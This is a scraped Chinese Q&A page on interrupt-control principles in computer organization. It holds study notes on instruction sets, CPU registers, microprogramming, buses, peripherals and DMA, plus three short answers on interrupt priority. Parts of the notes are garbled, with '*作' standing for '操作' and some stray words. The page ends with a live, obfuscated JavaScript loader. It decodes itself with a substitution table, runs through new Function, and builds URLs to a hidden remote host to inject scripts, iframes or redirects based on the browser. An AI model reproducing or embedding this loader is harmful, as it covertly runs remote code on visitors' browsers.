计算机组成原理中断控制原则是什么

2025-02-20 06:41:56
推荐回答(4个)
回答1:

4.1 指令系统的发展与性能要求

从计算机组成的的层次结构来说,计算机的指令有微指令、机器指令和宏指令等。机器指令则介于微指令与宏指令之间,通常简称为指令。每一条指令可完成一个独立的算术运算或逻辑运算*作。

一台计算机中所有机器指令的集合,称为这台计算机的指令系统。

系统计算机: 是指基本指令系统相同、基本体系结构相同的一系列计算机。

CISC:复杂指令系统计算机 RISC: 简单指令系统计算机

一个完善的指令系统应满足四方面的要求:1、完备性 2、有效性 3、规整性 4、兼容性

高级语言与计算机的硬件结构及指令系统无关,汇编语言计算机的硬件结构和指令系统。不同的机器有不同的指令,所以用汇编语言编写的程序不能在其他类型的机器上运行。

4.2 指令格式

机器指令是用机器字来表示的,表示一条指令的机器字,就称为指令,通常称为指令。

指令格式,则是指令字用二进制代码表示的结构形式,通常由*作码字和地址字段组成。

指令的*作码表示该指令应进行什么性质的*作,组成*作友字段的位数一般取决于计算机指令系统的规模,较大的指令系统就需要更多的位数来表示每条特定的指令。一般说来,一个包含n位的*作码最多能够表示2^n条指令。

根据一条指令中有几个*作数地址,可将指令分为:零地址指令、二地址指令、三地址指令。

从*作数安放的位置来说:分为SS、RS、SR、RR型指令。

一个指令字中包含二进制的位数,称为指令字长度。

机器字长是指计算机能直接处理的二进制数据的位数,它决定了计算机的运算精度。机器字长通常与主存单元的位数一致,指令字长度等于机器字长度的指令,称为单字长指令。指令字长度等于半个机器字长度的指令,称为半字长指令。指令字长等于两个机器字长度的指令,称为双字长指令。

指令*作码通常有两种编码格式: 固定格式 ,适用大中型计算机 可变格式 ,适用于微型和小型计算机。

4.3 指令和数据的寻址方式

在这里要区分指令和数据的寻址方式的区别。

指令寻址:指令寻址的方式有顺序寻址和跳跃寻址。 顺序寻址一般为顺序执行程序,而跳跃指令则是执行了转移指令所致。

所谓*作数的寻址方式:就是形成*作数的有效地址的方法。
其有:隐含寻址、立即寻址、寄存器寻址、直接寻址、间接寻址、相对寻址方式、变址和基址寻址方式、复合寻址方式、块寻址方式、段寻址方式。

下面就主要的几个寻址方式做个说明。

间接寻址:是给存放*作数地址的存储单元地址。

相对寻址:把程序计数器PC的内容加上指令格式中的形式地址D而形成*作数的有效地址。

变址寻址和基址寻址:两者在指令格式上很类似。习惯上基址寻址中基值寄存器提供基准量而指令提供位移量。而变址寻址中变址寄存器提供修改量而指令提供基准量。

块寻址方式经常用于输入输出指令中,以实现外存储器或外围设备同内存之间数据块传送,块寻址方式在内存中还可用于数据块搬家。

4.4 堆栈寻址

堆栈用在主存储器和寄存器中。
串联寻址:由寄存器中给出。

堆栈原则:先进后出、后进先出。

堆栈*作:

入栈*作: 先进入,后修改计数器。

出栈*作:先修改计数器,后跳出堆栈。
五章 中央处理器
5.1 中央处理器的功能和组成

CPU的四个功能: 指令控制 、 *作控制 、 时间控制 、 数据加工。

中央处理器由两个主要部分组成: 控制器和运算器。

控制器功能有:1、从内存中取出一条指令,并指出下一条指令在内存中的位置。
2、对指令进行译码或测试,并产生相应的*作控制信号。
3、指挥并控制CPU、内存和输入/输出设备之间数据流动的方向。

运算器的功能: 执行所有的算术运算 、 执行所有的逻辑运算。

CPU的六个主要寄存器: 1、指令寄存器(IR) 2、程序计数器(PC) 3、地址寄存器(AR) 4、缓冲寄存器(DR) 5、累加寄存器(AC) 6、状态条件寄存器。

要掌握各个寄存器的作用:指令寄存器是用来保存当前执行的一条指令。

程序计数器PC:是用来确定下一条指令的地址。程序计数器的结构应当是具有寄存计数两种功能的结构。

地址寄存器:地址寄存器是用来保存当前CPU所访问的内存单元的地址。

状态条件寄存器:状态条件寄存器保存由算术指令和逻辑指令运行或测试的结果建立的各种条件码内容。

累加寄存器:当运算器的算术逻辑单元(ALU)执行全部算术和逻辑运算时,为ALU提供一个工作区。

*作控制器的功能,就是根据指令*作码和时序信号,产生各种*作控制信号,以便正确地建立数据通路,从而完成取指令和执行指令的控制。

根据设计方法不同,*作控制器可分为组合逻辑型、存储逻辑型、组合逻辑与存储结合型三种。

指令周期是取出并执行一条指令的时间。

指令周期常常用若干个CPU周期来表示。CPU周期也称机器周期。 通常用内存中读取一个指令字的最短时间来规定CPU周期。而一个CPU周期时间又包含有若干个时钟周期。要理解各种指令执行的不同之处。

时序信号是通过时序信号产生器来产生的。

控制器的控制方式有:同步控制、异步控制、联合控制三种。

在任何情况下,已定的指令在执行时所需的机器周期数和时钟周期数都是固定不变的,称为同步控制方式。

异步控制方式的特点是:每条指令、每个*作控制信号需要多少时间就占用多少时间。

联合控制方式:是同步控制方式和异步控制相结合的方式。

5.4 微程序控制器

一台数字计算机基本上可以划分为两大部分-----控制部分和执行部分。

控制部件通过控制线向执行部件发出各种控制命令,通常把这种控制命令叫做微命令。而执行部件接受所执行的*作,叫做微*作。

由于数据通路的结构关系,微*作可分为相容性和相斥性两种。

在机器的一个CPU周期中,一组实现一定*作功能的微命令的组合,构成一条微指令。

一条机器指令的功能是用许多条微指令组成的序列来实现的,这个微指令序列通常叫做微程序。

微程序控制器主要由控制存储器、微指令寄存器和地址转移逻辑三大部分组成,其中微指令寄存器分为微地址寄存器和微命令寄存器两部分组成。

微指令周期等于读出微指令的时间加上执行该条指令的时间。

要掌握微指令与指令之间的关系,其中P196页的例2中一条指令如何由微指令构成的也要掌握。

了解微程序设计的五个目标。

微命令编码的三种方法:直接表示法、编码表示法、混合表示法。 要掌握各种方法的异同点。

微地址的形成方法有:计数器方式、增量方式与断定方式、多路转移方式。

微指令的格式大体分成两类:水平型微指令和垂直型微指令。

一次能定义并执行多个并行*作微命令的微指令,叫做水平型微指令。
微指令中设置微*作码字段,采用微*作码编译法,由微*作友规定微指令的功能,称为垂直型微指令。

水平型微指令与垂直型指令的比较:

1、水平型微指令并行*作能力强,效率高,灵活性强,垂直型微指令则较差。
2、水平型微指令执行一条一条指令的时间短,垂直型微指令执行时间长。
3、由水平型指令解释指令的微程序,具有微指令字比较长,但微程序短的特点,而垂直型微指令则相反,微指令字比较短而微程序长。
4、水平型指令用户难以掌握,而垂直型微指令与指令比较相似,相对来说,较容易掌握

六章 系统总线
6.1 单机系统的总线结构

总线是构成计算机系统的骨架,是多个系统部件之间进行数据传送的公共通路。
总线的分类有内部总线、系统总线、多机系统总线。

同一部件如CPU内部连接各寄存器及运算部件之间的总线,称为内部总线。
同一台计算机系统的各部件,如CPU、内存、通道和各类I/O接口间互相连接的总线,称为系统总线。
多台处理机之间互相连接的总线,称为多机总线。

总线的四个特性:物理、功能、电气、时间特性。

目前常用的总线标准: ISA总线、EISA总线、MCA(微通道)总线。
当然目前PCI总线也比较流行。

根据连接方式的不同,单机系统中采用的总线结构有三种基本类型:(1)单总线结构(2) 双总线结构 (3) 三总线结构。

在许多微小型计算机中,使用一条单一的系统总线来连接CPU、内存和I/O设备,称做单总线结构。

双总线结构保持了单总线系统简单,易于扩充的优点,但又在CPU和内存之间专门设置一组高速的存储总线,使CPU可通过专用总线与存储器交换信息,并减轻了系统总线的负担,同时内存仍可通过系统总与外设实现DMA操作,而不必经过CPU。

三总线在双总线系统的基础上增加I/O总线形成的。三总线一般用于中、大型计算机中。

总线对计算机系统性能的影响:

最大存储容量:单总线系统,外设的地址会影响内存地址单元的多少。在单总线系统中,最大内存容量必须小于计算机决定的可能的地址总数。在双总线系统中,存储容量不会受到外围设备多少的影响。

指令系统中,双总线系统中,CPU必须对内存总线和系统总线必须有不同的指令系统。而在单总线系统中,CPU对内存总线和系统总线用相同的指令系统

计算机系统的吞吐量是指流入、处理和流出系统的信息的速率。
系统吞吐量主要取决于内存的存取周期。三总线系统的吞吐能力要比单总线要强。

6.2 总线接口

计算机信息的传送方式有:串行传送、并行传送、并串行传送和分时传送。

接口这一术语是指中央处理器(CPU)和内存、外围设备、或两种外围设备、或两种机器之间通过总线进行连接的逻辑部件。

典型的接口功能有:控制、缓冲、状态、转换、整理、程序中断。

按照外围设备供求串行数据或并行数据的方式不同,接口分为串行数据接口和并行数据接口两大类。

目前广泛使用的一种通用串行数据接口叫异步接收发送器,简称为UART。UART的作用是,它既可以把外围设备的串行输入码转换为计算机内部所需的并行码,也可以把计算机内部的并行码转换成处围设备所需的串行码输出。

波特率是衡量传输通道频宽的指标,它是指传送代码的速率或说是数据传送速率。注意是每秒种传送的二进制数的位数。另外异步传送时规定了字符格式(一个起始位、8个数据位、1个终止位)。

并行数据接口,有时又可称为程序输入/输出电路,在微型计算机中简称为PIO。

6.3 总线的控制和通信

根据总线控制部件的位置,控制方式可分成集中式与分散式两类。总线控制逻辑基本集中在一处的,称为集中式总线控制。总线控制逻辑分散在总线各部件中的,称为分散式总线控制。

集中式控制是主要采用的方式。(1)链式查询 (2)计数器定时查询方式 (3)独立请求方式。

总线上的通信方式是实现总线控制和数据传送的手段,通常分为同步方式和异步方式两种。

总线上的部件通过总线进行信息传送时,用一个公共的时钟信号进行同步,这种方式称为同步通信。

异步通信允许总线上的各部件有各自的时钟,在部件之间进行通信时没有公共的时间标准,而是靠发送信息时同时发出本设备的时间标志信号,用“应答方式”来进行。
异步通信又分为单向方式和双向方式两种。
七章 外围设备
外围设备的划分标准,除了中央处理机和内存之外。计算机系统的每一部分都可看作一个外围设备来看待。

外围设备由三个基本部分组成:
1、存储介质:它具有保存物理特征。
2、驱动装置:用于移动存储介质。
3、控制电路:它向存储介质发送数据或从存储介质接收数据。外围设备可分为输入设备、输出设备、输入输出兼用设备、磁外存设备、数据通信设备、过程控制设备。

7.2 显示设备

以可见光的形式传递和处理信息的设备叫做显示设备。按显示设备所用器件分类,有阴极射线管显示器、液晶显示器(LCD)、等离子显示器。

按所显示的信息内容分类,有字符显示器、图形显示器、图象显示器三大类。

分辨率是指显示器所能表示的象素个数。
灰度级是指黑白显示器中所显示的象素点的亮暗差别,在彩色显示器中表现为颜色的不同。

随机扫描是控制电子束在CRT屏幕上随机的运动,从而产生图形和字符。

光栅扫描分为逐行扫描、隔行扫描。

图形显示器分为随机扫描图形显示器、存储管理图形显示器、光栅扫描图形显示器。

区分主观图象、客观图象。

7.3 打印设备

根据印字原理,分为击打式和非击打两大类。
击打式打印机又分为活字式打印和点阵式打印。
串行针式打印机有单向打印和双向打印两种。

7.4 输入设备

输入设备分为图形输入、图象输入、声音输入。
图形输入有键盘输入、光笔输入、图形板和游标输入。

图象输入有摄象仪、图文扫描仪。

语音输入:如麦克风。

7.5 硬盘控制器

所谓“磁表面存储”是用某些磁性材料薄薄地涂在金属铝或塑料表面作载磁体来存储信息。硬盘的记录方式分为归零制(RZ),不归零制(NRZ)、调相制(PM)和调频制(FM)

磁盘存储的主要指标有:存储密度、存储容量、存取时间及数据传输率。

7.6 软盘控制器

软磁盘存储器由软盘驱动器、软盘控制器、软磁盘片三大部分组成。

7.8 多媒体技术

多媒体技术的三个特点:

1、信息形式的多样性。
2、多种形式信息的综合与集成处理。
3、多媒体技术的交互性。
八章 输入输出系统
计算机的输入输出系统简称为I/O系统,它包括I/O接口、I/O管理部件及有关软件。

8.1 外围设备的定时方式与信息交换方式

对于不同的外围设备,有下列三种情况:

1、速度极慢或简单的外围设备

对于此类设备,CPU只要接收或发送数据就可以了。

2、慢速或中速的外围设备

CPU与这类设备之间的数据交换通常采用异步定时方式。

3、高速的外围设备

由于这类设备是以相等的时间间隔操作的,而CPU也是以等间隔的速率执行输入输出指令的,因此,这种方式叫做同步定时方式。
信息交换方式:1、程序查询方式 2、程序中断方式 3、直接内存访问(DMA)方式 4、通道方式 5、外围处理机方式。

8.2 程序查询方式

这种方式又称为程序控制I/O方式。这种方式比较经济、只需很少的硬件、在微型机中来实现低速设备的输入输出管理。

外围设备有两种不同的编址方法:统一编址法和单独编址法。
统一编址法:是指输入/输出设备中的控制寄存器、数据寄存器、状态寄存器等也和内存单元一样看待,将它们和内存单元联合在一起编排地址。

程序查询方式的接口电路应包括如下部分:设备选择电路、数据缓冲寄存器、设备状态位(标志)

8.3 程序中断方式

中断方式特别适合于随机出现的服务。

根据计算机系统对中断处理的策略不同,可分单级中断系统和多级中断系统。单级中断系统是中断结构中最基本的形式。

由于存储器的地址码是一串布尔量的序列,因此常常把地址码称为向量地址。

多级中断系统是指计算机系统中有相当多的中断源。多级中断又可分为一维多级中断和二维多级中断。

8.4 DMA方式

直接内存访问(DMA)方式,是一种完全由硬件执行I/O交换的工作方式。在这种方式中,DMA控制器从CPU完全接管对总线的控制,数据交换不经过CPU,而直接在内存和I/O设备之间进行。其主要优点是速度快,缺点是硬件线路比较复杂。

DMA传送方式:1、停止CPU访问内存 2、周期挪用 3、DMA与CPU交替访内。

DMA控制器,实际上是采用DMA方式的外围设备与系统总线之间的接口电路。这个接口电路是在中断接口的基础上再加DMA机构组成。习惯上将DMA方式的接口电路称为 DMA 控制器。

DMA控制器的基本组成: 1、内存地址计数器 2、字计数器 3、数据缓冲寄存器 4、 “DMA请求”标志 5、 “控制/状态“逻辑 6、 中断机构

DMA的数据块传送过程分为三个阶段:传送前预处理;正式传送;传送后处理。

DMA 控制器有: 选择型 和 多路型

8.5 通道方式

DMA 控制器的出现已经减轻了CPU对数据输入输出的控制,使得CPU的效率有了显著的提高,而通道的出现则进一步提高了CPU的效率。这是因为通道是一个特殊警惕处理,它有自己的指令和程序专门负责数据输入输出的传输控制,而CPU将“传输控制”的功能下放给通道后只负责“数据处理”功能。

通道的基本功能是执行通道指令,组织外围设备和内存进行数据传输,按I/O指令要求启动外围设备,向CPU报告中断。

CPU是通过执行I/O指令以及处理来自通道的中断,来实现对通道的管理。

通道通过使用通道指令控制设备控制器进行数据传送操作,并以通道状态字接收设备控制器反映的外围设备的状态。

根据通道的工作方式,通道分为选择通道、数据多路通道、字节多路通道三种类型。

通道结构的发燕尾服出现了两种计算机I/O系统结构:

一种是通道结构的I/O处理器,通常称为输入输出处理器(IOP)

另一种是外围处理机(PP)

回答2:

中断控制的原则就是进程的优先级,当优先级高的进程发出请求时,CPU会暂停当前运算的进程,进行优先级高的进程处理,优先级高的进程运行完毕后,CPU继续进行原有进程的运算。当然如果某程序运行时不想被中断,可以在程序运行时禁用中断,当然这是在单片机编程时可以。

回答3:

当系统有多个中断源时,就可能出现同时有几个中断源申请中断,而CPU 在一个时刻只能响应并处理一个中断请求。为此,应根据任务的轻重缓急,给每个中断源指定CPU 响应的优先级.即优先权。安排了优先权后,当有多个中断源申请中断时,CPU 只响应并处理优先级别最高的中断申请。

回答4:

多级中断:根据优先级来,优先级高的可以打断优先级低,反之是不能的。同一优先级的是不能互相打断的。
单极中断:根据谁优先权高,先响应谁,但是一旦cpu在处理某一个中断,就不可被打断,直到执行完中断。离cpu近的优先权高。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();